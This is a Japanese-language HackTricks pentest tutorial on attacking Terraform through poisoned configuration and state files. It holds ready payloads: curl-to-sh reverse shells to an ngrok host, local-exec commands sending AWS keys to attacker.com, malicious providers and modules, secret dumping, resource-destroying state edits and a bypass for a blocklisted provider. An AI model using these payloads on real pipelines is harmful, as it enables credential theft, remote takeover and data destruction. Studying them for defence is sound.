Terraform Security

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

基本情報

公式ドキュメントから:

HashiCorp Terraformは、人間が読み取り可能な構成ファイルでクラウドおよびオンプレミスリソースを定義し、バージョン管理、再利用、共有ができるインフラストラクチャコードツールです。一貫したワークフローを使用して、ライフサイクル全体でインフラストラクチャをプロビジョニングおよび管理できます。 Terraformは、コンピューティング、ストレージ、ネットワーキングリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。

Terraformの動作原理

Terraformは、クラウドプラットフォームや他のサービス上のリソースを、それらのアプリケーションプログラミングインターフェース(API)を介して作成および管理します。プロバイダは、Terraformがアクセス可能なAPIを持つほとんどのプラットフォームやサービスと連携できるようにします。

HashiCorpとTerraformコミュニティは、1700以上のプロバイダをすでに作成しており、数千種類の異なるリソースとサービスを管理できます。この数は増加し続けています。Amazon Web Services(AWS)、Azure、Google Cloud Platform(GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなど、すべての公開プロバイダをTerraform Registryで見つけることができます。

Terraformのコアワークフローは、次の3つのステージで構成されています:

  • 記述: 複数のクラウドプロバイダやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを備えたVirtual Private Cloud(VPC)ネットワーク上の仮想マシンにアプリケーションを展開する構成を作成することができます。

  • 計画: Terraformは、既存のインフラストラクチャと構成に基づいて作成、更新、または破棄するインフラストラクチャを記述する実行計画を作成します。

  • 適用: 承認されると、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンのスケーリング前にVPCを再作成します。

Terraformラボ

コンピュータにTerraformをインストールしてください。

こちらにガイドがあり、こちらにTerraformをダウンロードする最良の方法があります。

TerraformでのRCE

Terraformにはウェブページやネットワークサービスを公開するプラットフォームがないため、terraformを侵害する唯一の方法はterraform構成ファイルを追加/変更できることです。

ただし、terraformは非常に敏感なコンポーネントであり、適切に機能するために特権アクセスが必要です。

攻撃者がterraformが実行されているシステムを侵害できる主な方法は、terraform構成を格納するリポジトリを侵害することです。なぜなら、ある時点でそれらが解釈されるからです。

実際、PRが作成された後にterraform plan/applyを自動的に実行するなどのソリューションがあります。たとえば、Atlantis:

pageAtlantis Security

terraformファイルを侵害できる場合、terraform planまたはterraform applyが実行されたときにRCEを実行するさまざまな方法があります。

Terraform plan

Terraform planは、terraformで最も使用されるコマンドであり、開発者/terraformを使用するソリューションは常にこれを呼び出すため、terraform planで任意のコマンドを実行するterraform構成ファイルを毒入れするのが最も簡単なRCEの方法です。

外部プロバイダの使用

Terraformは、Terraformと外部プログラムの間のインターフェースを提供するexternalプロバイダを提供します。externalデータソースを使用して、plan中に任意のコードを実行できます。

terraform構成ファイルに次のようなものを注入すると、terraform planを実行するとrevシェルが実行されます。

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

カスタムプロバイダの使用

攻撃者はTerraform Registryカスタムプロバイダを送信し、それをフィーチャーブランチにあるTerraformコードに追加することができます(こちらの例から)。

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

プロバイダはinitでダウンロードされ、planが実行されると悪意のあるコードが実行されます。

https://github.com/rung/terraform-provider-cmdexecに例があります。

外部リファレンスの使用

上記のオプションはどちらも有用ですが、あまりステルス性がありません(2番目のオプションは1番目よりもステルス性が高いですが、より複雑です)。この攻撃をさらにステルス性の高い方法で実行することができます。以下の提案に従ってください:

  • terraformファイルにrevシェルを直接追加する代わりに、revシェルを含む外部リソースを読み込むことができます。

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

rev shellコードはhttps://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modulesにあります。

  • 外部リソースでは、ref機能を使用して、リポジトリ内のterraform rev shellコードをブランチに隠すことができます。例: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform applyを実行してすべての変更を適用します。また、local-execを使用して 悪意のあるTerraformファイルを注入して RCEを取得することもできます。 次のようなペイロードがmain.tfファイルに含まれるようにするだけです:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

前のテクニックからの提案に従い外部参照を使用してより慎重にこの攻撃を実行します。

シークレットのダンプ

terraform applyを実行してterraformで使用されるシークレット値をダンプすることができます。terraformファイルに次のようなものを追加します:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform State Filesの悪用

Terraform State Filesに書き込みアクセス権があるが、Terraformコードを変更できない場合、この研究では、ファイルを悪用するいくつかの興味深いオプションが紹介されています:

リソースの削除

リソースを破壊する2つの方法があります:

  1. ステートファイルにランダムな名前のリソースを挿入し、実際に破壊するリソースを指す

Terraformはリソースが存在しないことを検知するため、それを破壊します(指定された実際のリソースIDに従って)。前のページの例:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. リソースを削除して更新できないように変更する

EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformが削除して再作成するようになります。

RCE

また、カスタムプロバイダーを作成し、terraformのステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加することも可能です。元の研究からの例:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

ブラックリストに登録されたプロバイダの置き換え

hashicorp/external がブラックリストに登録されている場合は、以下の手順で external プロバイダを再実装することができます。注意: https://registry.terraform.io/providers/nazarewk/external/latest で公開されている外部プロバイダのフォークを使用しています。独自のフォークや再実装を公開することもできます。

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

その場合、通常通り external を使用できます。

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

監査ツール

  • tfsec: tfsecは、Terraformコードの静的解析を使用して潜在的な誤構成を見つけます。

  • terascan: Terrascanは、インフラストラクチャの静的コードアナライザーです。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

最終更新